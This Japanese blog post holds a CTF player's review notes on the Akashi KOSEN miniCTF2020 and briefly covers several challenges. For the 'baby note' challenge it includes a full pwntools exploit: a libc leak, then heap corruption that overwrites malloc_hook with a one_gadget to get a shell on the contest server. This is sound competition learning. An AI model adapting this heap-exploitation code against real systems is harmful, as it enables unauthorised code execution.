newbieからバイナリアンへ

newbieからバイナリアンへ

人参の秘めたる甘さに気づいた大学生日記

【pwn 19.0】明石高専miniCTF2020 - 雑メモ

 

 

 

 

 

1: イントロ

いつぞや行われた 明石高専主催のminiCTF2020

team Contrailでの初陣でした

f:id:smallkirby:20200126234111p:plain

 

 

 

結果は6位。渋い

開催期間は分かりませんが、14:00くらいから3時間だけ参加しました

終わってから見てみたmisc問とかで普通に点数取れそうだったので

短期間のCTFは時間配分が大事だと再認識(n回目)

 

 

 

自分の復習用に雑メモしておく

 

 

1: wrong copy

 Ghidraを開く->文字列がある

終わり

 

2: baby note

やるだけ太郎

但し問題見始めてから15分ほどでflag取る早解きができたので悪くなかった

 

 

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./babynote"

rhp1 = {'host':"babynote.ctf.jyoken.net",'port':80}
rhp2 = {'host':"localhost",'port':12300}
context(os='linux',arch='amd64')
binf = ELF(FILENAME)

def hoge(conn,n):
  conn.recvuntil("> ")
  conn.sendline(str(n))

def _create(conn,content):
  hoge(conn,1)
  conn.recvuntil("Contents: ")
  conn.sendline(content)

def _show(conn,ix):
  hoge(conn,2)
  conn.recvuntil("Index: ")
  conn.sendline(str(ix))

def _delete(conn,ix):
  hoge(conn,3)
  conn.recvuntil("Index: ")
  conn.sendline(str(ix))

onegadgets = [0x4f2c5,0x4f322,0x10a38c]

def exploit(conn):
  conn.recvuntil("YOU: ")
  stdin_addr = int(conn.recvline().rstrip(),16)
  libcbase = stdin_addr - 0x3EBA00
  malloc_hook = libcbase + 0x3EBC30
  print("stdin: "+hex(stdin_addr))
  print("libcbase: "+hex(libcbase))
  print("malloc_hook: "+hex(malloc_hook))

  _create(conn,"A"*0x90)
  _create(conn,"B"*0x90)
  _create(conn,"C"*0x90)
  _delete(conn,2)
  _delete(conn,1)
  _delete(conn,0)
  _create(conn,"D"*0x90+p64(0)+p64(0xa1)+p64(malloc_hook))
  _create(conn,"E")
  _create(conn,p64(libcbase + onegadgets[2]))




if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
else:
    conn = remote(rhp2['host'],rhp2['port'])
exploit(conn)
conn.interactive()

 

3: michael

入力値3つの積が決められていて

かつ3つの入力値に対してフェルマーチェックが行われる

結果から言うとカーマイケル数という擬素数があるらしい

そういえば問題文にもmichaelと車が出てきてた気が。。。

 

とはいってもCTFの問題文なんてあってないようなもんだしな。。。

 

なんとかして正攻法で行けないもんかと考えていたが

組み合わせなんて少数しか無いし普通にbrute-forceするべきだった

反省

 

4: blind note

babynoteのshow機能なし

見た瞬間これじゃないかと思った

smallkirby.hatenablog.com

 

ただ変なところでエラー出たのと

実装時間足りないから他解いたほうがいいなと思い放置

 

このくらいのfile stream問は時間内に解けるように精進しろ

 

 

5: ezstack

チームのつよつよの方におまかせして問題文しか読んでない

なんか手応えあるっぽいので後で解く

 

 

 

 

6: アウトロ

やっぱ久々にやるとCTF楽しい

 

運営者様、作問者様、ありがとうございました

 

 

 

 

続く・・・